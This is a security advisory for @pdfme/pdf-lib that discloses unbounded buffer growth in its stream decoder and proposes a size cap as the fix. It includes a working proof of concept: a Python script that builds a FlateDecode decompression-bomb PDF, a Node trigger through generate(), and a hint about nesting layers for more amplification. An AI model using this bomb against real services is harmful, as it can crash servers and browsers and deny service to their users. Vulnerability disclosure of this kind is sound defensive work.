GHSA-vrqm-gvq7-rrwh

## Summary

The `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.

## Details

The vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression).

**Unbounded buffer growth in `ensureBuffer()`** — `packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160`:

```typescript protected ensureBuffer(requested: number) { const buffer = this.buffer; if (requested <= buffer.byteLength) { return buffer; } let size = this.minBufferLength; while (size < requested) { size *= 2; // Doubles with no upper bound } const buffer2 = new Uint8Array(size); // Allocates without limit buffer2.set(buffer); return (this.buffer = buffer2); } ```

The `size *= 2` loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.

**Unconditional full decompression in `decode()`** — `DecodeStream.ts:139-141`:

```typescript decode(): Uint8Array { while (!this.eof) this.readBlock(); // Fully decompresses before returning return this.buffer.subarray(0, this.bufferLength); } ```

**`FlateStream.readBlock()`** calls `ensureBuffer()` repeatedly during decompression — `packages/pdf-lib/src/core/streams/FlateStream.ts:272-274`:

```typescript if (pos + 1 >= limit) { buffer = this.ensureBuffer(pos + 1); limit = buffer.length; } ```

And again at line 297-300:

```typescript if (pos + len >= limit) { buffer = this.ensureBuffer(pos + len); limit = buffer.length; } ```

**Entry point via `basePdf`** — `packages/generator/src/helper.ts:42-43`:

```typescript const willLoadPdf = await getB64BasePdf(basePdf); const embedPdf = await PDFDocument.load(willLoadPdf); ```

The `basePdf` parameter accepts base64-encoded data, a URL, or raw bytes. When `PDFDocument.load()` parses the PDF, it encounters FlateDecode streams and decompresses them through `FlateStream` → `DecodeStream` with no size limits.

The same code path exists in the UI package at `packages/ui/src/helper.ts:292` and `packages/ui/src/hooks.ts:67`.

## PoC

**Step 1: Create a decompression bomb PDF**

```python #!/usr/bin/env python3 """Generate a PDF decompression bomb for PoC.""" import zlib import struct

# Create highly compressible data: 100MB of null bytes # compresses to ~100KB (~1000:1 ratio) uncompressed = b'\x00' * (100 * 1024 * 1024) # 100 MB compressed = zlib.compress(uncompressed, 9)

# Minimal PDF structure with FlateDecode stream pdf = b"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj

2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj

3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >> endobj

4 0 obj << /Filter /FlateDecode /Length """ + str(len(compressed)).encode() + b""" >> stream """ + compressed + b""" endstream endobj

xref 0 5 """ # Write proper xref (simplified for PoC) with open("bomb.pdf", "wb") as f: f.write(pdf) f.write(b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n0\n%%EOF\n")

print(f"Compressed size: {len(compressed)} bytes") print(f"Decompressed size: {len(uncompressed)} bytes") print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1") ```

**Step 2: Trigger via @pdfme/generator**

```javascript const { generate } = require('@pdfme/generator'); const fs = require('fs');

const bombPdf = fs.readFileSync('bomb.pdf');

// This will cause unbounded memory allocation during PDF parsing generate({ template: { basePdf: bombPdf, // Attacker-controlled input schemas: [[]], }, inputs: [{}], plugins: {}, }).catch(err => console.error('OOM or crash:', err.message)); ```

**Step 3: Observe memory exhaustion**

```bash # Monitor memory usage — the Node.js process will consume all available memory # and either crash with a heap allocation failure or be OOM-killed node --max-old-space-size=512 trigger.js # Expected: "FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory" ```

For higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload.

## Impact

- **Denial of Service**: Any application using `@pdfme/generator` or `@pdfme/ui` that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab. - **Server-side impact**: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable. - **Client-side impact**: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process. - **No authentication bypass needed**: The attack only requires the ability to supply a `basePdf` value, which is the standard template input parameter — no elevated privileges are needed.

## Recommended Fix

Add a maximum decoded size limit to `ensureBuffer()` in `packages/pdf-lib/src/core/streams/DecodeStream.ts`:

```typescript const MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB

class DecodeStream implements StreamType { // ... existing fields ...

protected ensureBuffer(requested: number) { const buffer = this.buffer; if (requested <= buffer.byteLength) { return buffer; }

if (requested > MAX_DECODED_SIZE) { throw new Error( `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` + `This may indicate a decompression bomb.` ); }

let size = this.minBufferLength; while (size < requested) { size *= 2; }

// Cap the allocation even if the doubling overshoots if (size > MAX_DECODED_SIZE) { size = MAX_DECODED_SIZE; }

const buffer2 = new Uint8Array(size); buffer2.set(buffer); return (this.buffer = buffer2); } } ```

Optionally, expose the limit via `PDFDocument.load()` options so consumers can tune it:

```typescript // In LoadOptions interface: interface LoadOptions { // ... existing options ... maxDecodedStreamSize?: number; // Default: 100 MB } ```